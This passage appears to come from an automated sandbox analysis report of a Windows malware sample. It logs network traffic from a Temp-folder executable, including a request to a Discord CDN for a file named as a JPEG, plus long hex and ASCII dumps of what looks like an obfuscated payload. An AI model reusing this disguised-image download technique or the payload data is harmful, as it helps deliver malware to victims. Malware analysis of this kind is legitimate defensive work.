4f 20 78 20 59 52 20 78 20 6b 4f 20 78 20 74 74 20 78 20 52 59 20 78 20 Data Ascii: t x kt x RY x RY x RY x kY x tO x OxR x OOE x RY x OOQ x RY x RY x kR x kQ x OOk x Rk x YK x tO x tR x OOo x Kt x Kt x KE x tk x OxE x Yx x RR x OOK x RY x RY x RR x kO x kR x kQ x OOk x Rk x YK x tk x OOk x OOo x Kt x Kt x Yt x OOO x YR x kO x tt x RY x
2021-10-29 18:10:59 UTC	2395	IN	Data Raw: 20 52 59 20 78 20 74 51 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 4f 4f 6b 20 78 20 4b 45 20 78 20 74 6b 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 4f 20 78 20 6b 4f 20 78 20 4f 78 74 20 78 20 52 6b 20 78 20 74 78 20 78 20 4f 78 6f 20 78 20 4f 4f 4f 20 78 20 74 4f 20 78 20 59 78 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 52 6b 20 78 20 74 4b 20 78 20 52 6b 20 78 20 59 6f 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b 4f 20 78 20 74 74 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 4f 78 78 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 51 74 20 78 20 74 52 20 78 20 74 74 20 78 20 52 6b 20 78 20 4f 4f 6b 20 78 20 6b 74 20 78 20 4f 78 6f 20 78 20 52 51 Data Ascii: RY x tQ x tk x ko x OOk x KE x tk x tk x RY x RR x kt x Kt x YO x kO x Oxt x Rk x tx x Oxo x OOO x tO x Yx x Oxt x RY x RY x tO x Qt x Rk x tK x Rk x Yo x RY x OxE x YR x kO x tt x OxY x YR x Oxx x OxO x OOQ x KQ x Qt x tR x tt x Rk x OOk x kt x Oxo x RQ
2021-10-29 18:10:59 UTC	2411	IN	Data Raw: 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 4f 20 78 20 6b 59 20 78 20 74 45 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b 4f 20 78 20 74 74 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 78 74 20 78 20 59 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 6f 78 20 78 20 4b 6b 20 78 20 6b 6b 20 78 20 59 6f 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 59 78 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 59 6f 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4f 20 78 20 51 6b 20 78 20 59 52 20 78 20 51 74 20 78 20 74 45 20 78 20 4f 6f 6f 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 4f 20 Data Ascii: x RY x OxY x YO x kY x tE x OxE x YR x kO x tt x Qx x OOO x Oxt x YY x OxE x YR x kQ x RQ x Oox x Kk x kk x Yo x RY x OxE x RY x RY x RY x kx x YR x Yx x OxR x kQ x kk x Yo x Yt x Kt x Kt x Kt x Kt x YO x Qk x YR x Qt x tE x Ooo x tk x kO x RY x RR x OOO
2021-10-29 18:10:59 UTC	2427	IN	Data Raw: 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 59 6f 20 78 20 74 74 20 78 20 59 74 20 78 20 51 51 20 78 20 74 74 20 78 20 6b 6f 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 4f 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 59 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 4f 4f 4f 20 78 20 4f 6f 78 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 6b 78 20 78 20 52 59 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 4f 78 6b 20 78 20 6b 6b 20 78 20 4f 78 6f 20 78 20 4f 78 4b 20 78 20 52 74 20 78 20 74 52 20 78 20 74 78 20 78 20 6b 74 20 78 20 52 6b 20 78 20 52 51 20 78 20 6b 4f 20 78 20 6b 4f Data Ascii: RQ x RQ x RY x OOQ x Yo x tt x Yt x QQ x tt x ko x RR x RY x RY x RR x KQ x RR x OxO x OxK x kO x Kt x Kt x Kt x Kt x OxY x OOQ x KQ x OOO x Oox x RQ x RQ x RY x kR x OxR x kx x RY x OxK x QQ x Oxk x kk x Oxo x OxK x Rt x tR x tx x kt x Rk x RQ x kO x kO
2021-10-29 18:10:59 UTC	2443	IN	Data Raw: 20 74 78 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 74 4b 20 78 20 4f 78 4f 20 78 20 51 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 78 20 78 20 4f 78 52 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 59 45 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 59 78 20 78 20 74 78 20 78 20 59 52 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 78 20 78 20 4f 78 52 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 78 4f 20 78 20 4b 6b 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: tx x Rk x OOO x tK x OxO x Qk x Kt x Kt x KQ x OxQ x tk x OxK x Oxx x OxR x OOK x Kt x Kt x Kt x OOO x YE x Kt x kk x Kt x Kt x Yo x Yx x tx x YR x kx x YO x Kt x Kt x KQ x Rt x tk x OOk x Oxx x OxR x OOK x Kt x Kt x Kt x OOO x OxO x Kk x OOY x RY x RY x
2021-10-29 18:10:59 UTC	2459	IN	Data Raw: 59 52 20 78 20 74 78 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 4f 78 6f 20 78 20 6b 45 20 78 20 74 52 20 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4b 51 20 78 20 74 74 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 6b 78 20 78 20 52 51 20 78 20 52 51 20 78 20 74 78 20 78 20 59 74 20 78 20 51 6b 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 74 45 20 78 20 52 51 20 78 20 52 59 20 78 20 74 78 20 78 20 74 78 20 78 20 6b 4b 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 51 20 78 Data Ascii: YR x tx x Rk x Kt x Oxx x Oxo x kE x tR x ko x Oxo x OxR x Kt x Oxx x kO x OxR x Kt x OOR x OOE x RY x Rt x RY x RY x Rk x OOO x KQ x tt x kK x Kt x Kt x Yo x kx x RQ x RQ x tx x Yt x Qk x OoO x QQ x tE x RQ x RY x tx x tx x kK x kR x Ooo x kx x Kt x tQ x
2021-10-29 18:10:59 UTC	2475	IN	Data Raw: 74 6b 20 78 20 4f 78 74 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 6b 59 20 78 20 74 78 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 4f 20 78 20 59 78 20 78 20 6b 4f 20 78 20 6b 78 20 78 20 4f 4f 52 20 78 20 4f 4f 51 20 78 20 4f 78 4b 20 78 20 4f 78 51 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 51 74 20 78 20 52 6b 20 78 20 4b 45 20 78 20 6b 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 6b 20 78 20 6b 74 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 4f 6f 6f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 74 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 6b 52 20 78 20 Data Ascii: tk x Oxt x OxY x YR x OOk x Kt x kY x tx x Rt x tR x kO x Yx x kO x kx x OOR x OOQ x OxK x OxQ x OxK x QQ x Oxk x Kk x RR x OxQ x Qt x Rk x KE x kE x RR x KQ x Rk x kt x OxK x kO x Ooo x Kk x RY x RY x kY x tQ x OxR x Oxk x tQ x OxE x RY x RY x kt x kR x
2021-10-29 18:10:59 UTC	2491	IN	Data Raw: 78 20 78 20 52 6b 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 74 20 78 20 52 6b 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 4b 20 78 20 4f 78 4b 20 78 20 4f 4f 45 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 4f 6f 4f 20 78 20 52 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 52 20 78 20 51 74 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 4f 4f 45 20 78 20 52 51 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 52 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 74 45 20 78 20 4f 78 51 20 78 20 74 4f 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 Data Ascii: x x Rk x Kt x tx x kt x Rk x RR x kO x RY x Rt x tK x OxK x OOE x OxE x Rt x RY x RY x RR x kO x YK x OoO x RR x OOE x RY x kt x OOO x RR x Qt x OxK x Oxk x OOE x RQ x tO x OOO x kO x Kt x Yt x kR x kk x kY x tE x OxQ x tO x OOE x RY x tE x RY x RY x kx x
2021-10-29 18:10:59 UTC	2507	IN	Data Raw: 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 4f 6f 78 20 78 20 4f 4f 51 20 78 20 74 59 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 78 74 20 78 20 51 74 20 78 20 6b 4f 20 78 20 4f 78 74 20 78 20 74 52 20 78 20 4b 74 20 78 20 6b 4b 20 78 20 4f 78 6f 20 78 20 4f 6f 78 20 78 20 4b 51 20 78 20 59 52 20 78 20 4f 4f 4f 20 78 20 59 78 20 78 20 6b 74 20 78 20 52 6b 20 78 20 52 51 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 59 74 20 78 20 4b 74 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 52 20 78 20 74 6f 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 74 6b 20 78 20 4b 74 20 78 20 74 6f Data Ascii: x RR x OxQ x OxY x Oox x OOQ x tY x Qx x OOO x Oxt x Qt x kO x Oxt x tR x Kt x kK x Oxo x Oox x KQ x YR x OOO x Yx x kt x Rk x RQ x tE x RY x RY x tE x Oxk x Yt x Kt x tO x Qt x tR x to x RY x OOo x OxQ x OxY x ko x OOo x Rt x kO x OOk x Yt x tk x Kt x to
2021-10-29 18:10:59 UTC	2523	IN	Data Raw: 78 20 59 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 59 74 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 52 20 78 20 4f 4f 4b 20 78 20 4f 4f 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 59 78 20 78 20 74 78 20 78 20 59 74 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 6b 6b 20 78 20 59 4b 20 78 20 74 74 20 78 20 51 51 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 74 78 20 78 20 59 6f 20 78 20 6b 74 20 78 20 6b 59 20 78 20 74 78 20 78 20 4f 78 6f 20 78 20 4f 4f 4f 20 78 20 6b 51 20 78 20 52 52 20 78 20 59 52 20 78 20 52 Data Ascii: x YR x RY x RY x tE x Yx x tx x Yt x kx x YO x Kt x Kt x KQ x Rk x OOO x OxR x OOK x OOx x Kt x Kt x Yo x Yx x tx x Yt x kx x YO x Kt x Kt x KQ x RR x kk x YK x tt x QQ x Oxo x RY x RY x Rt x tk x ko x tx x Yo x kt x kY x tx x Oxo x OOO x kQ x RR x YR x R
2021-10-29 18:10:59 UTC	2539	IN	Data Raw: 6b 6b 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 74 45 20 78 20 4b 51 20 78 20 74 78 20 78 20 59 78 20 78 20 74 78 20 78 20 52 74 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 4f 78 4f 20 78 20 52 52 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 4f 20 78 20 6b 6b 20 78 20 4f 4f 51 20 78 20 59 4b 20 78 20 74 59 20 78 20 6b 4b 20 78 20 59 45 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4f 6f 78 20 78 20 52 52 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 4f 6f 4f 20 78 20 4f 78 6f 20 78 20 59 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 4f 78 59 20 78 20 74 4b 20 78 20 59 4f 20 78 20 74 45 Data Ascii: kk x kO x kY x tE x KQ x tx x Yx x tx x Rt x tk x ko x OxO x RR x kO x Kt x YO x kk x OOQ x YK x tY x kK x YE x Kt x Kt x KE x Rk x Oox x RR x ko x OOO x Kt x OxE x RY x RY x RY x tE x Yx x tx x OoO x Oxo x YY x Kt x Kt x KQ x tk x kO x OxY x tK x YO x tE
2021-10-29 18:10:59 UTC	2555	IN	Data Raw: 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 74 20 78 20 74 45 20 78 20 4f 4f 59 20 78 20 4b 51 20 78 20 4b 51 20 78 20 74 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 4b 20 78 20 59 6f 20 78 20 59 78 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 59 4f 20 78 20 6b 4f 20 78 20 74 78 20 78 20 4b 74 20 78 20 4b 51 20 78 20 6b 6b 20 78 20 59 52 20 78 20 59 4b 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 6b 20 78 20 74 6f 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 4b 51 20 78 20 74 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 52 Data Ascii: x Oxo x Kt x Kt x Ooo x Oxk x Oxx x Kt x tE x OOY x KQ x KQ x tt x RR x RY x RY x tO x OxK x Yo x Yx x Oxt x RY x RY x kR x YO x kO x tx x Kt x KQ x kk x YR x YK x OOQ x tR x Kt x KQ x OOO x OxQ x tx x OOk x to x YO x Kt x Kt x Yo x KQ x tx x Kt x tx x R
2021-10-29 18:10:59 UTC	2571	IN	Data Raw: 6b 51 20 78 20 59 74 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 74 20 78 20 74 78 20 78 20 4f 78 78 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 4f 52 20 78 20 4f 78 4b 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 4b 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 59 20 78 20 74 45 20 78 20 6b 52 20 78 20 59 78 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 59 78 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 59 4b 20 78 20 4b 51 20 78 20 74 6b 20 78 20 4f 78 51 20 78 20 6b 78 20 78 20 6b 45 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 6f 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 6b 20 78 20 74 4f 20 78 20 4f 78 52 20 Data Ascii: kQ x Yt x kx x RY x RR x KQ x Rt x tx x Oxx x OOO x YO x tk x OOR x RY x RY x tQ x OOR x OxK x Qx x OxR x Kk x KE x RY x to x kY x tE x kR x Yx x OxR x OOO x Yx x Kk x RY x RY x YK x KQ x tk x OxQ x kx x kE x tE x RY x Oxx x ko x kR x OOE x Rk x tO x OxR
2021-10-29 18:10:59 UTC	2587	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 18:10:59 UTC	2603	IN	Data Raw: 20 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 Data Ascii: tE x RY x Qk x RY x RR x Oxk x RY x to x tt x RY x RY x RY x RY x RY x RY x Rt x RY x RY x tR x RY x RY x RY x RY x RY x RY x RY x tK x kO x RR x Oxt x RY x Rt x RY x RY x tE x RY x RY x Oxk x RY x RQ x Oxt x RY x tk x OxE x RY x Kk x RY x to x OxE x RY
2021-10-29 18:10:59 UTC	2619	IN	Data Raw: 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 59 74 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 52 59 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 59 6f 20 78 20 52 59 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74 4b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 Data Ascii: OY x RY x tO x OOQ x RY x QQ x RY x RR x OxK x RY x tO x kO x RY x Qx x RY x RR x OOo x RY x tO x Yo x RY x Qx x OOQ x RY x Yt x RY x Rt x tE x RY x tk x kO x RY x OxY x RY x Rk x Yo x RY x kx x RY x RR x Kk x RY x to x tE x RY x tK x kO x RR x Ooo x RY x
2021-10-29 18:10:59 UTC	2627	IN	Data Raw: 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 52 59 20 78 Data Ascii: RR x OOx x RY x tO x Oxt x RY x QQ x OOQ x RR x Kk x RY x tO x kY x RY x QQ x OxE x RR x Ooo x RY x Rk x OOO x RY x tE x RY x RY x tk x RY x RY x OOO x RY x ko x kO x RR x RR x RY x tx x OxE x RY x kx x kO x RY x Oxk x RY x Rk x OxE x RY x tR x OxE x RY x
2021-10-29 18:10:59 UTC	2643	IN	Data Raw: 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 59 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 52 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 59 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 59 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 52 59 20 Data Ascii: OOO x RY x RY x Rk x tE x YK x RY x RY x RY x to x OOt x kY x RY x RY x Rk x Rk x Oxk x RY x RY x RY x KE x YE x kO x RY x RY x kt x tQ x kY x RY x RY x tO x YY x Oxk x RY x RY x Rt x tE x YE x kO x RY x RY x OOo x tQ x kY x RY x RY x tR x kK x Oxk x RY

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49827	162.159.133.233	443	C:\Users\user\AppData\Local\Temp\77DC.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:10:59 UTC	2652	OUT	GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1 Host: cdn.discordapp.com
2021-10-29 18:11:00 UTC	2653	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:10:59 GMT Content-Type: image/jpeg Content-Length: 345655 Connection: close CF-Ray: 6a5e5d24ccc26904-FRA Accept-Ranges: bytes Age: 86643 Cache-Control: public, max-age=31536000 ETag: "d05714d4497c7b55b2c0b1609cbd62c9" Expires: Sat, 29 Oct 2022 18:10:59 GMT Last-Modified: Tue, 26 Oct 2021 11:56:34 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249394465681 x-goog-hash: crc32c=to49mQ== x-goog-hash: md5=0FcU1El8e1WywLFgnL1iyQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 345655 X-GUploader-UploadID: ADPycds4sIyz_GzjIugLy9_WqK029_2RU2KSIIfGlpMQJZx1WvXGDydhZDvUpsH4QNomt1ATbnkYUYcRxSnB_xGGebc X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8yZOTH0gQL%2BWaMpIQXlHbop7GvcsREOLaOUDiUrNxrD7EzJvzUlAsSCG6w%2BK8jZzXpFu0QNaAm%2B3yd57cK5QFdWsbr%2B6cuieuiVsJLWC8XGQ2VvoIXs4%2Faut7sSMaSxW4grrDw%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:11:00 UTC	2654	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:11:00 UTC	2654	IN	Data Raw: 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 6b 59 20 78 20 